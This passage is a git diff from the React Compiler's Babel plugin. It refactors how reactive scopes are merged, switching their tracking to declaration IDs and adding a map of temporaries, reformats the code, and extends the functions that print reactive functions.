-  scopes: Array<ShadowableReactiveScope> = [];
-}
-
-type ShadowableReactiveScope = {
-  scope: ReactiveScope;
-  shadowedBy: ReactiveScope | null;
-};
-
-class Context {
-  scopes: Array<BlockScope> = [];
-  seenScopes: Set<ScopeId> = new Set();
-  joinedScopes: DisjointSet<ReactiveScope> = new DisjointSet();
-  operandScopes: Map<Place, ReactiveScope> = new Map();
-
-  visitId(id: InstructionId): void {
-    const currentBlock = this.scopes[this.scopes.length - 1]!;
-    retainWhere(currentBlock.scopes, (pending) => {
-      if (pending.scope.range.end > id) {
-        return true;
-      } else {
-        currentBlock.seen.delete(pending.scope.id);
-        return false;
-      }
-    });
-  }
-
-  visitPlace(id: InstructionId, place: Place): void {
-    const scope = getPlaceScope(id, place);
-    if (scope === null) {
-      return;
-    }
-    this.operandScopes.set(place, scope);
-    const currentBlock = this.scopes[this.scopes.length - 1]!;
-    // Fast-path for the first time we see a new scope
-    if (!this.seenScopes.has(scope.id)) {
-      this.seenScopes.add(scope.id);
-      currentBlock.seen.add(scope.id);
-      currentBlock.scopes.push({ shadowedBy: null, scope });
-      return;
-    }
-    // Scope has already been seen, find it in the current block or a parent
-    let index = this.scopes.length - 1;
-    let nextBlock = currentBlock;
-    while (!nextBlock.seen.has(scope.id)) {
-      /*
-       * scopes that cross control-flow boundaries are merged with overlapping
-       * scopes
-       */
-      this.joinedScopes.union([scope, ...nextBlock.scopes.map((s) => s.scope)]);
-      index--;
-      if (index < 0) {
-        /*
-         * TODO: handle reassignments in multiple branches. these create new identifiers that
-         * add an entry to this.seenScopes but which are then removed when their blocks exit.
-         * this is also wrong for codegen, different versions of an identifier could be cached
-         * differently and so a reassigned version of a variable needs a separate declaration.
-         * console.log(`scope ${scope.id} not found`);
-         */
-
-        /*
-         * for (let i = this.scopes.length - 1; i > index; i--) {
-         *   const s = this.scopes[i];
-         *   console.log(
-         *     JSON.stringify(
-         *       {
-         *         seen: Array.from(s.seen),
-         *         scopes: s.scopes,
-         *       },
-         *       null,
-         *       2
-         *     )
-         *   );
-         * }
-         */
-        currentBlock.seen.add(scope.id);
-        currentBlock.scopes.push({ shadowedBy: null, scope });
-        return;
-      }
-      nextBlock = this.scopes[index]!;
-    }
-
-    // Handle interleaving within a given block scope
-    let found = false;
-    for (let i = 0; i < nextBlock.scopes.length; i++) {
-      const current = nextBlock.scopes[i]!;
-      if (current.scope.id === scope.id) {
-        found = true;
-        if (current.shadowedBy !== null) {
-          this.joinedScopes.union([current.shadowedBy, current.scope]);
-        }
-      } else if (found && current.shadowedBy === null) {
-        // `scope` is shadowing `current` and may interleave
-        current.shadowedBy = scope;
-        if (current.scope.range.end > scope.range.end) {
-          /*
-           * Current is shadowed by `scope`, and we know that `current` will mutate
-           * again (per its range), so the scopes are already known to interleave.
-           *
-           * Eagerly extend the ranges of the scopes so that we don't prematurely end
-           * a scope relative to its eventual post-merge mutable range
-           */
-          const end = makeInstructionId(
-            Math.max(current.scope.range.end, scope.range.end)
-          );
-          current.scope.range.end = end;
-          scope.range.end = end;
-          this.joinedScopes.union([current.scope, scope]);
-        }
-      }
-    }
-    if (!currentBlock.seen.has(scope.id)) {
-      currentBlock.seen.add(scope.id);
-      currentBlock.scopes.push({ shadowedBy: null, scope });
-    }
-  }
-
-  enter(fn: () => void): void {
-    this.scopes.push(new BlockScope());
-    fn();
-    this.scopes.pop();
-  }
-
-  complete(): void {
-    this.joinedScopes.forEach((scope, groupScope) => {
-      if (scope !== groupScope) {
-        groupScope.range.start = makeInstructionId(
-          Math.min(groupScope.range.start, scope.range.start)
-        );
-        groupScope.range.end = makeInstructionId(
-          Math.max(groupScope.range.end, scope.range.end)
-        );
-      }
-    });
-    for (const [operand, originalScope] of this.operandScopes) {
-      const mergedScope = this.joinedScopes.find(originalScope);
-      if (mergedScope !== null) {
-        operand.identifier.scope = mergedScope;
-      }
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts
index e26fca135388..f6cf491220c1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts
@@ -5,9 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
+import {CompilerError} from '..';
 import {
-  IdentifierId,
+  DeclarationId,
+  GeneratedSource,
   InstructionId,
   InstructionKind,
   Place,
@@ -19,23 +20,24 @@ import {
   ReactiveScopeDependency,
   ReactiveStatement,
   Type,
+  areEqualPaths,
   makeInstructionId,
-} from "../HIR";
+} from '../HIR';
 import {
   BuiltInArrayId,
   BuiltInFunctionId,
   BuiltInJsxId,
   BuiltInObjectId,
-} from "../HIR/ObjectShape";
-import { eachInstructionLValue } from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
-import { printReactiveScopeSummary } from "./PrintReactiveFunction";
+} from '../HIR/ObjectShape';
+import {eachInstructionLValue} from '../HIR/visitors';
+import {assertExhaustive, Iterable_some} from '../Utils/utils';
+import {printReactiveScopeSummary} from './PrintReactiveFunction';
 import {
   ReactiveFunctionTransform,
   ReactiveFunctionVisitor,
   Transformed,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
 
 /*
  * The primary goal of this pass is to reduce memoization overhead, specifically:
@@ -82,7 +84,7 @@ import {
  * better to flatten.
  */
 export function mergeReactiveScopesThatInvalidateTogether(
-  fn: ReactiveFunction
+  fn: ReactiveFunction,
 ): void {
   const lastUsageVisitor = new FindLastUsageVisitor();
   visitReactiveFunction(fn, lastUsageVisitor, undefined);
@@ -97,44 +99,52 @@ function log(msg: string): void {
 }
 
 class FindLastUsageVisitor extends ReactiveFunctionVisitor<void> {
-  lastUsage: Map<IdentifierId, InstructionId> = new Map();
+  /*
+   * TODO LeaveSSA: use IdentifierId for more precise tracking
+   * Using DeclarationId is necessary for compatible output but produces suboptimal results
+   * in cases where a scope defines a variable, but that version is never read and always
+   * overwritten later.
+   * see reassignment-separate-scopes.js for example
+   */
+  lastUsage: Map<DeclarationId, InstructionId> = new Map();
 
   override visitPlace(id: InstructionId, place: Place, _state: void): void {
-    const previousUsage = this.lastUsage.get(place.identifier.id);
+    const previousUsage = this.lastUsage.get(place.identifier.declarationId);
     const lastUsage =
       previousUsage !== undefined
         ? makeInstructionId(Math.max(previousUsage, id))
         : id;
-    this.lastUsage.set(place.identifier.id, lastUsage);
+    this.lastUsage.set(place.identifier.declarationId, lastUsage);
   }
 }
 
 class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | null> {
-  lastUsage: Map<IdentifierId, InstructionId>;
+  lastUsage: Map<DeclarationId, InstructionId>;
+  temporaries: Map<DeclarationId, DeclarationId> = new Map();
 
-  constructor(lastUsage: Map<IdentifierId, InstructionId>) {
+  constructor(lastUsage: Map<DeclarationId, InstructionId>) {
     super();
     this.lastUsage = lastUsage;
   }
 
   override transformScope(
     scopeBlock: ReactiveScopeBlock,
-    state: ReactiveScopeDependencies | null
+    state: ReactiveScopeDependencies | null,
   ): Transformed<ReactiveStatement> {
     this.visitScope(scopeBlock, scopeBlock.scope.dependencies);
     if (
       state !== null &&
       areEqualDependencies(state, scopeBlock.scope.dependencies)
     ) {
-      return { kind: "replace-many", value: scopeBlock.instructions };
+      return {kind: 'replace-many', value: scopeBlock.instructions};
     } else {
-      return { kind: "keep" };
+      return {kind: 'keep'};
     }
   }
 
   override visitBlock(
     block: ReactiveBlock,
-    state: ReactiveScopeDependencies | null
+    state: ReactiveScopeDependencies | null,
   ): void {
     // Pass 1: visit nested blocks to potentially merge their scopes
     this.traverseBlock(block, state);
@@ -144,17 +154,15 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
       block: ReactiveScopeBlock;
       from: number;
       to: number;
-      lvalues: Set<IdentifierId>;
+      lvalues: Set<DeclarationId>;
     };
     let current: MergedScope | null = null;
     const merged: Array<MergedScope> = [];
     function reset(): void {
       CompilerError.invariant(current !== null, {
-        loc: null,
         reason:
-          "MergeConsecutiveScopes: expected current scope to be non-null if reset()",
-        suggestions: null,
-        description: null,
+          'MergeConsecutiveScopes: expected current scope to be non-null if reset()',
+        loc: GeneratedSource,
       });
       if (current.to > current.from + 1) {
         merged.push(current);
@@ -164,37 +172,37 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
     for (let i = 0; i < block.length; i++) {
       const instr = block[i]!;
       switch (instr.kind) {
-        case "terminal": {
+        case 'terminal': {
           // For now we don't merge across terminals
           if (current !== null) {
             log(
-              `Reset scope @${current.block.scope.id} from terminal [${instr.terminal.id}]`
+              `Reset scope @${current.block.scope.id} from terminal [${instr.terminal.id}]`,
             );
             reset();
           }
           break;
         }
-        case "pruned-scope": {
+        case 'pruned-scope': {
           // For now we don't merge across pruned scopes
           if (current !== null) {
             log(
-              `Reset scope @${current.block.scope.id} from pruned scope @${instr.scope.id}`
+              `Reset scope @${current.block.scope.id} from pruned scope @${instr.scope.id}`,
             );
             reset();
           }
           break;
         }
-        case "instruction": {
+        case 'instruction': {
           switch (instr.instruction.value.kind) {
-            case "BinaryExpression":
-            case "ComputedLoad":
-            case "JSXText":
-            case "LoadGlobal":
-            case "LoadLocal":
-            case "Primitive":
-            case "PropertyLoad":
-            case "TemplateLiteral":
-            case "UnaryExpression": {
+            case 'BinaryExpression':
+            case 'ComputedLoad':
+            case 'JSXText':
+            case 'LoadGlobal':
+            case 'LoadLocal':
+            case 'Primitive':
+            case 'PropertyLoad':
+            case 'TemplateLiteral':
+            case 'UnaryExpression': {
               /*
                * We can merge two scopes if there are intervening instructions, but:
                * - Only if the instructions are simple and it's okay to make them
@@ -204,11 +212,19 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
                *   subsequent code wo expanding the set of declarations, which we want to avoid
                */
               if (current !== null && instr.instruction.lvalue !== null) {
-                current.lvalues.add(instr.instruction.lvalue.identifier.id);
+                current.lvalues.add(
+                  instr.instruction.lvalue.identifier.declarationId,
+                );
+                if (instr.instruction.value.kind === 'LoadLocal') {
+                  this.temporaries.set(
+                    instr.instruction.lvalue.identifier.declarationId,
+                    instr.instruction.value.place.identifier.declarationId,
+                  );
+                }
               }
               break;
             }
-            case "StoreLocal": {
+            case 'StoreLocal': {
               /**
                * It's safe to have intervening StoreLocal instructions _if_ they are const
                * and the last usage of the variable is at or before the next scope. This is
@@ -222,13 +238,20 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
                   instr.instruction.value.lvalue.kind === InstructionKind.Const
                 ) {
                   for (const lvalue of eachInstructionLValue(
-                    instr.instruction
+                    instr.instruction,
                   )) {
-                    current.lvalues.add(lvalue.identifier.id);
+                    current.lvalues.add(lvalue.identifier.declarationId);
                   }
+                  this.temporaries.set(
+                    instr.instruction.value.lvalue.place.identifier
+                      .declarationId,
+                    this.temporaries.get(
+                      instr.instruction.value.value.identifier.declarationId,
+                    ) ?? instr.instruction.value.value.identifier.declarationId,
+                  );
                 } else {
                   log(
-                    `Reset scope @${current.block.scope.id} from StoreLocal in [${instr.instruction.id}]`
+                    `Reset scope @${current.block.scope.id} from StoreLocal in [${instr.instruction.id}]`,
                   );
                   reset();
                 }
@@ -239,7 +262,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
               // Other instructions are known to prevent merging, so we reset the scope if present
               if (current !== null) {
                 log(
-                  `Reset scope @${current.block.scope.id} from instruction [${instr.instruction.id}]`
+                  `Reset scope @${current.block.scope.id} from instruction [${instr.instruction.id}]`,
                 );
                 reset();
               }
@@ -247,23 +270,23 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
           }
           break;
         }
-        case "scope": {
+        case 'scope': {
           if (
             current !== null &&
-            canMergeScopes(current.block, instr) &&
+            canMergeScopes(current.block, instr, this.temporaries) &&
             areLValuesLastUsedByScope(
               instr.scope,
               current.lvalues,
-              this.lastUsage
+              this.lastUsage,
             )
           ) {
             // The current and next scopes can merge!
             log(
-              `Can merge scope @${current.block.scope.id} with @${instr.scope.id}`
+              `Can merge scope @${current.block.scope.id} with @${instr.scope.id}`,
             );
             // Update the merged scope's range
             current.block.scope.range.end = makeInstructionId(
-              Math.max(current.block.scope.range.end, instr.scope.range.end)
+              Math.max(current.block.scope.range.end, instr.scope.range.end),
             );
             // Add declarations
             for (const [key, value] of instr.scope.declarations) {
@@ -287,7 +310,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
                * inputs change, so it is not a candidate for future merging
                */
               log(
-                `  but scope @${instr.scope.id} doesnt guaranteed invalidate so it cannot merge further`
+                `  but scope @${instr.scope.id} doesnt guaranteed invalidate so it cannot merge further`,
               );
               reset();
             }
@@ -296,7 +319,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
             if (current !== null) {
               // Reset if necessary
               log(
-                `Reset scope @${current.block.scope.id}, not mergeable with subsequent scope @${instr.scope.id}`
+                `Reset scope @${current.block.scope.id}, not mergeable with subsequent scope @${instr.scope.id}`,
               );
               reset();
             }
@@ -310,7 +333,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
               };
             } else {
               log(
-                `scope @${instr.scope.id} doesnt guaranteed invalidate so it cannot merge further`
+                `scope @${instr.scope.id} doesnt guaranteed invalidate so it cannot merge further`,
               );
             }
           }
@@ -319,7 +342,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
         default: {
           assertExhaustive(
             instr,
-            `Unexpected instruction kind \`${(instr as any).kind}\``
+            `Unexpected instruction kind \`${(instr as any).kind}\``,
           );
         }
       }
@@ -332,7 +355,7 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
       for (const entry of merged) {
         log(
           printReactiveScopeSummary(entry.block.scope) +
-            ` from=${entry.from} to=${entry.to}`
+            ` from=${entry.from} to=${entry.to}`,
         );
       }
     }
@@ -350,18 +373,16 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
         index = entry.from;
       }
       const mergedScope = block[entry.from]!;
-      CompilerError.invariant(mergedScope.kind === "scope", {
-        loc: null,
+      CompilerError.invariant(mergedScope.kind === 'scope', {
         reason:
-          "MergeConsecutiveScopes: Expected scope starting index to be a scope",
-        description: null,
-        suggestions: null,
+          'MergeConsecutiveScopes: Expected scope starting index to be a scope',
+        loc: GeneratedSource,
       });
       nextInstructions.push(mergedScope);
       index++;
       while (index < entry.to) {
         const instr = block[index++]!;
-        if (instr.kind === "scope") {
+        if (instr.kind === 'scope') {
           mergedScope.instructions.push(...instr.instructions);
           mergedScope.scope.merged.add(instr.scope.id);
         } else {
@@ -383,12 +404,12 @@ class Transform extends ReactiveFunctionTransform<ReactiveScopeDependencies | nu
  */
 function updateScopeDeclarations(
   scope: ReactiveScope,
-  lastUsage: Map<IdentifierId, InstructionId>
+  lastUsage: Map<DeclarationId, InstructionId>,
 ): void {
-  for (const [key] of scope.declarations) {
-    const lastUsedAt = lastUsage.get(key)!;
+  for (const [id, decl] of scope.declarations) {
+    const lastUsedAt = lastUsage.get(decl.identifier.declarationId)!;
     if (lastUsedAt < scope.range.end) {
-      scope.declarations.delete(key);
+      scope.declarations.delete(id);
     }
   }
 }
@@ -400,8 +421,8 @@ function updateScopeDeclarations(
  */
 function areLValuesLastUsedByScope(
   scope: ReactiveScope,
-  lvalues: Set<IdentifierId>,
-  lastUsage: Map<IdentifierId, InstructionId>
+  lvalues: Set<DeclarationId>,
+  lastUsage: Map<DeclarationId, InstructionId>,
 ): boolean {
   for (const lvalue of lvalues) {
     const lastUsedAt = lastUsage.get(lvalue)!;
@@ -415,7 +436,8 @@ function areLValuesLastUsedByScope(
 
 function canMergeScopes(
   current: ReactiveScopeBlock,
-  next: ReactiveScopeBlock
+  next: ReactiveScopeBlock,
+  temporaries: Map<DeclarationId, DeclarationId>,
 ): boolean {
   // Don't merge scopes with reassignments
   if (
@@ -444,38 +466,57 @@ function canMergeScopes(
   if (
     areEqualDependencies(
       new Set(
-        [...current.scope.declarations.values()].map((declaration) => ({
+        [...current.scope.declarations.values()].map(declaration => ({
           identifier: declaration.identifier,
+          reactive: true,
           path: [],
-        }))
+          loc: GeneratedSource,
+        })),
       ),
-      next.scope.dependencies
+      next.scope.dependencies,
     ) ||
     (next.scope.dependencies.size !== 0 &&
       [...next.scope.dependencies].every(
-        (dep) =>
-          current.scope.declarations.has(dep.identifier.id) &&
-          isAlwaysInvalidatingType(dep.identifier.type)
+        dep =>
+          dep.path.length === 0 &&
+          isAlwaysInvalidatingType(dep.identifier.type) &&
+          Iterable_some(
+            current.scope.declarations.values(),
+            decl =>
+              decl.identifier.declarationId === dep.identifier.declarationId ||
+              decl.identifier.declarationId ===
+                temporaries.get(dep.identifier.declarationId),
+          ),
       ))
   ) {
     log(`  outputs of prev are input to current`);
     return true;
   }
   log(`  cannot merge scopes:`);
-  log(`  ${printReactiveScopeSummary(current.scope)}`);
-  log(`  ${printReactiveScopeSummary(next.scope)}`);
+  log(
+    `  ${printReactiveScopeSummary(current.scope)} ${[...current.scope.declarations.values()].map(decl => decl.identifier.declarationId)}`,
+  );
+  log(
+    `  ${printReactiveScopeSummary(next.scope)} ${[...next.scope.dependencies].map(dep => `${dep.identifier.declarationId} ${temporaries.get(dep.identifier.declarationId) ?? dep.identifier.declarationId}`)}`,
+  );
   return false;
 }
 
-function isAlwaysInvalidatingType(type: Type): boolean {
-  if (type.kind === "Object") {
-    switch (type.shapeId) {
-      case BuiltInArrayId:
-      case BuiltInObjectId:
-      case BuiltInFunctionId:
-      case BuiltInJsxId: {
-        return true;
+export function isAlwaysInvalidatingType(type: Type): boolean {
+  switch (type.kind) {
+    case 'Object': {
+      switch (type.shapeId) {
+        case BuiltInArrayId:
+        case BuiltInObjectId:
+        case BuiltInFunctionId:
+        case BuiltInJsxId: {
+          return true;
+        }
       }
+      break;
+    }
+    case 'Function': {
+      return true;
     }
   }
   return false;
@@ -483,7 +524,7 @@ function isAlwaysInvalidatingType(type: Type): boolean {
 
 function areEqualDependencies(
   a: Set<ReactiveScopeDependency>,
-  b: Set<ReactiveScopeDependency>
+  b: Set<ReactiveScopeDependency>,
 ): boolean {
   if (a.size !== b.size) {
     return false;
@@ -492,7 +533,7 @@ function areEqualDependencies(
     let found = false;
     for (const bValue of b) {
       if (
-        aValue.identifier === bValue.identifier &&
+        aValue.identifier.declarationId === bValue.identifier.declarationId &&
         areEqualPaths(aValue.path, bValue.path)
       ) {
         found = true;
@@ -506,10 +547,6 @@ function areEqualDependencies(
   return true;
 }
 
-function areEqualPaths(a: Array<string>, b: Array<string>): boolean {
-  return a.length === b.length && a.every((item, ix) => item === b[ix]);
-}
-
 /**
  * Is this scope eligible for merging with subsequent scopes? In general this
  * is only true if the scope's output values are guaranteed to change when its
@@ -529,6 +566,6 @@ function scopeIsEligibleForMerging(scopeBlock: ReactiveScopeBlock): boolean {
     return true;
   }
   return [...scopeBlock.scope.declarations].some(([, decl]) =>
-    isAlwaysInvalidatingType(decl.identifier.type)
+    isAlwaysInvalidatingType(decl.identifier.type),
   );
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction.ts
index aedd3d7d227b..ddc65423f38d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PrintReactiveFunction.ts
@@ -5,8 +5,9 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "../CompilerError";
+import {CompilerError} from '../CompilerError';
 import {
+  GeneratedSource,
   PrunedReactiveScopeBlock,
   ReactiveFunction,
   ReactiveScope,
@@ -15,93 +16,110 @@ import {
   ReactiveStatement,
   ReactiveTerminal,
   ReactiveValue,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
+  printFunction,
   printIdentifier,
   printInstructionValue,
   printPlace,
+  printSourceLocation,
   printType,
-} from "../HIR/PrintHIR";
-import { assertExhaustive } from "../Utils/utils";
+} from '../HIR/PrintHIR';
+import {assertExhaustive} from '../Utils/utils';
+
+export function printReactiveFunctionWithOutlined(
+  fn: ReactiveFunction,
+): string {
+  const writer = new Writer();
+  writeReactiveFunction(fn, writer);
+  for (const outlined of fn.env.getOutlinedFunctions()) {
+    writer.writeLine('\nfunction ' + printFunction(outlined.fn));
+  }
+  return writer.complete();
+}
 
 export function printReactiveFunction(fn: ReactiveFunction): string {
   const writer = new Writer();
-  writer.writeLine(`function ${fn.id !== null ? fn.id : "<unknown>"}(`);
+  writeReactiveFunction(fn, writer);
+  return writer.complete();
+}
+
+function writeReactiveFunction(fn: ReactiveFunction, writer: Writer): void {
+  writer.writeLine(`function ${fn.id !== null ? fn.id : '<unknown>'}(`);
   writer.indented(() => {
     for (const param of fn.params) {
-      if (param.kind === "Identifier") {
+      if (param.kind === 'Identifier') {
         writer.writeLine(`${printPlace(param)},`);
       } else {
         writer.writeLine(`...${printPlace(param.place)},`);
       }
     }
   });
-  writer.writeLine(") {");
+  writer.writeLine(') {');
   writeReactiveInstructions(writer, fn.body);
-  writer.writeLine("}");
-  return writer.complete();
+  writer.writeLine('}');
 }
 
 export function printReactiveScopeSummary(scope: ReactiveScope): string {
   const items = [];
   // If the scope has a return value it needs a label
-  items.push("scope");
+  items.push('scope');
   items.push(`@${scope.id}`);
   items.push(`[${scope.range.start}:${scope.range.end}]`);
   items.push(
     `dependencies=[${Array.from(scope.dependencies)
-      .map((dep) => printDependency(dep))
-      .join(", ")}]`
+      .map(dep => printDependency(dep))
+      .join(', ')}]`,
   );
   items.push(
     `declarations=[${Array.from(scope.declarations)
       .map(([, decl]) =>
-        printIdentifier({ ...decl.identifier, scope: decl.scope })
+        printIdentifier({...decl.identifier, scope: decl.scope}),
       )
-      .join(", ")}]`
+      .join(', ')}]`,
   );
   items.push(
-    `reassignments=[${Array.from(scope.reassignments).map((reassign) =>
-      printIdentifier(reassign)
-    )}]`
+    `reassignments=[${Array.from(scope.reassignments).map(reassign =>
+      printIdentifier(reassign),
+    )}]`,
   );
   if (scope.earlyReturnValue !== null) {
     items.push(
       `earlyReturn={id: ${printIdentifier(
-        scope.earlyReturnValue.value
-      )}, label: ${scope.earlyReturnValue.label}}}`
+        scope.earlyReturnValue.value,
+      )}, label: ${scope.earlyReturnValue.label}}}`,
     );
   }
-  return items.join(" ");
+  return items.join(' ');
 }
 
 export function writeReactiveBlock(
   writer: Writer,
-  block: ReactiveScopeBlock
+  block: ReactiveScopeBlock,
 ): void {
   writer.writeLine(`${printReactiveScopeSummary(block.scope)} {`);
   writeReactiveInstructions(writer, block.instructions);
-  writer.writeLine("}");
+  writer.writeLine('}');
 }
 
 export function writePrunedScope(
   writer: Writer,
-  block: PrunedReactiveScopeBlock
+  block: PrunedReactiveScopeBlock,
 ): void {
   writer.writeLine(`<pruned> ${printReactiveScopeSummary(block.scope)} {`);
   writeReactiveInstructions(writer, block.instructions);
-  writer.writeLine("}");
+  writer.writeLine('}');
 }
 
 export function printDependency(dependency: ReactiveScopeDependency): string {
   const identifier =
     printIdentifier(dependency.identifier) +
     printType(dependency.identifier.type);
-  return `${identifier}${dependency.path.map((prop) => `.${prop}`).join("")}`;
+  return `${identifier}${dependency.path.map(token => `${token.optional ? '?.' : '.'}${token.property}`).join('')}_${printSourceLocation(dependency.loc)}`;
 }
 
 export function printReactiveInstructions(
-  instructions: Array<ReactiveStatement>
+  instructions: Array<ReactiveStatement>,
 ): string {
   const writer = new Writer();
   writeReactiveInstructions(writer, instructions);
@@ -110,7 +128,7 @@ export function printReactiveInstructions(
 
 export function writeReactiveInstructions(
   writer: Writer,
-  instructions: Array<ReactiveStatement>
+  instructions: Array<ReactiveStatement>,
 ): void {
   writer.indented(() => {
     for (const instr of instructions) {
@@ -121,11 +139,11 @@ export function writeReactiveInstructions(
 
 function writeReactiveInstruction(
   writer: Writer,
-  instr: ReactiveStatement
+  instr: ReactiveStatement,
 ): void {
   switch (instr.kind) {
-    case "instruction": {
-      const { instruction } = instr;
+    case 'instruction': {
+      const {instruction} = instr;
       const id = `[${instruction.id}]`;
 
       if (instruction.lvalue !== null) {
@@ -139,15 +157,15 @@ function writeReactiveInstruction(
       }
       break;
     }
-    case "scope": {
+    case 'scope': {
       writeReactiveBlock(writer, instr);
       break;
     }
-    case "pruned-scope": {
+    case 'pruned-scope': {
       writePrunedScope(writer, instr);
       break;
     }
-    case "terminal": {
+    case 'terminal': {
       if (instr.label !== null) {
         writer.write(`bb${instr.label.id}: `);
       }
@@ -157,7 +175,7 @@ function writeReactiveInstruction(
     default: {
       assertExhaustive(
         instr,
-        `Unexpected terminal kind \`${(instr as any).kind}\``
+        `Unexpected terminal kind \`${(instr as any).kind}\``,
       );
     }
   }
@@ -171,7 +189,7 @@ export function printReactiveValue(value: ReactiveValue): string {
 
 function writeReactiveValue(writer: Writer, value: ReactiveValue): void {
   switch (value.kind) {
-    case "ConditionalExpression": {
+    case 'ConditionalExpression': {
       writer.writeLine(`Ternary `);
       writer.indented(() => {
         writeReactiveValue(writer, value.test);
@@ -187,7 +205,7 @@ function writeReactiveValue(writer: Writer, value: ReactiveValue): void {
       writer.newline();
       break;
     }
-    case "LogicalExpression": {
+    case 'LogicalExpression': {
       writer.writeLine(`Logical`);
       writer.indented(() => {
         writeReactiveValue(writer, value.left);
@@ -197,15 +215,15 @@ function writeReactiveValue(writer: Writer, value: ReactiveValue): void {
       writer.newline();
       break;
     }
-    case "SequenceExpression": {
+    case 'SequenceExpression': {
       writer.writeLine(`Sequence`);
       writer.indented(() => {
         writer.indented(() => {
-          value.instructions.forEach((instr) =>
+          value.instructions.forEach(instr =>
             writeReactiveInstruction(writer, {
-              kind: "instruction",
+              kind: 'instruction',
               instruction: instr,
-            })
+            }),
           );
           writer.write(`[${value.id}] `);
           writeReactiveValue(writer, value.value);
@@ -214,7 +232,7 @@ function writeReactiveValue(writer: Writer, value: ReactiveValue): void {
       writer.newline();
       break;
     }
-    case "OptionalExpression": {
+    case 'OptionalExpression': {
       writer.append(`OptionalExpression optional=${value.optional}`);
       writer.newline();
       writer.indented(() => {
@@ -225,7 +243,7 @@ function writeReactiveValue(writer: Writer, value: ReactiveValue): void {
     }
     default: {
       const printed = printInstructionValue(value);
-      const lines = printed.split("\n");
+      const lines = printed.split('\n');
       if (lines.length === 1) {
         writer.writeLine(printed);
       } else {
@@ -239,132 +257,136 @@ function writeReactiveValue(writer: Writer, value: ReactiveValue): void {
   }
 }
 
+export function printReactiveTerminal(terminal: ReactiveTerminal): string {
+  const writer = new Writer();
+  writeTerminal(writer, terminal);
+  return writer.complete();
+}
+
 function writeTerminal(writer: Writer, terminal: ReactiveTerminal): void {
   switch (terminal.kind) {
-    case "break": {
+    case 'break': {
       const id = terminal.id !== null ? `[${terminal.id}]` : [];
       writer.writeLine(
-        `${id} break bb${terminal.target} (${terminal.targetKind})`
+        `${id} break bb${terminal.target} (${terminal.targetKind})`,
       );
 
       break;
     }
-    case "continue": {
+    case 'continue': {
       const id = `[${terminal.id}]`;
       writer.writeLine(
-        `${id} continue bb${terminal.target} (${terminal.targetKind})`
+        `${id} continue bb${terminal.target} (${terminal.targetKind})`,
       );
       break;
     }
-    case "do-while": {
+    case 'do-while': {
       writer.writeLine(`[${terminal.id}] do-while {`);
       writeReactiveInstructions(writer, terminal.loop);
-      writer.writeLine("} (");
+      writer.writeLine('} (');
       writer.indented(() => {
         writeReactiveValue(writer, terminal.test);
       });
-      writer.writeLine(")");
+      writer.writeLine(')');
       break;
     }
-    case "while": {
+    case 'while': {
       writer.writeLine(`[${terminal.id}] while (`);
       writer.indented(() => {
         writeReactiveValue(writer, terminal.test);
       });
-      writer.writeLine(") {");
+      writer.writeLine(') {');
       writeReactiveInstructions(writer, terminal.loop);
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "if": {
-      const { test, consequent, alternate } = terminal;
+    case 'if': {
+      const {test, consequent, alternate} = terminal;
       writer.writeLine(`[${terminal.id}] if (${printPlace(test)}) {`);
       writeReactiveInstructions(writer, consequent);
       if (alternate !== null) {
-        writer.writeLine("} else {");
+        writer.writeLine('} else {');
         writeReactiveInstructions(writer, alternate);
       }
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "switch": {
+    case 'switch': {
       writer.writeLine(
-        `[${terminal.id}] switch (${printPlace(terminal.test)}) {`
+        `[${terminal.id}] switch (${printPlace(terminal.test)}) {`,
       );
       writer.indented(() => {
         for (const case_ of terminal.cases) {
           let prefix =
-            case_.test !== null ? `case ${printPlace(case_.test)}` : "default";
+            case_.test !== null ? `case ${printPlace(case_.test)}` : 'default';
           writer.writeLine(`${prefix}: {`);
           writer.indented(() => {
             const block = case_.block;
             CompilerError.invariant(block != null, {
-              reason: "Expected case to have a block",
-              description: null,
-              loc: case_.test?.loc ?? null,
-              suggestions: null,
+              reason: 'Expected case to have a block',
+              loc: case_.test?.loc ?? GeneratedSource,
             });
             writeReactiveInstructions(writer, block);
           });
-          writer.writeLine("}");
+          writer.writeLine('}');
         }
       });
-      writer.writeLine("}");
+      writer.writeLine('}');
       break;
     }
-    case "for": {
+    case 'for': {
       writer.writeLine(`[${terminal.id}] for (`);
       writer.indented(() => {
         writeReactiveValue(writer, terminal.init);
-        writer.writeLine(";");
+        writer.writeLine(';');
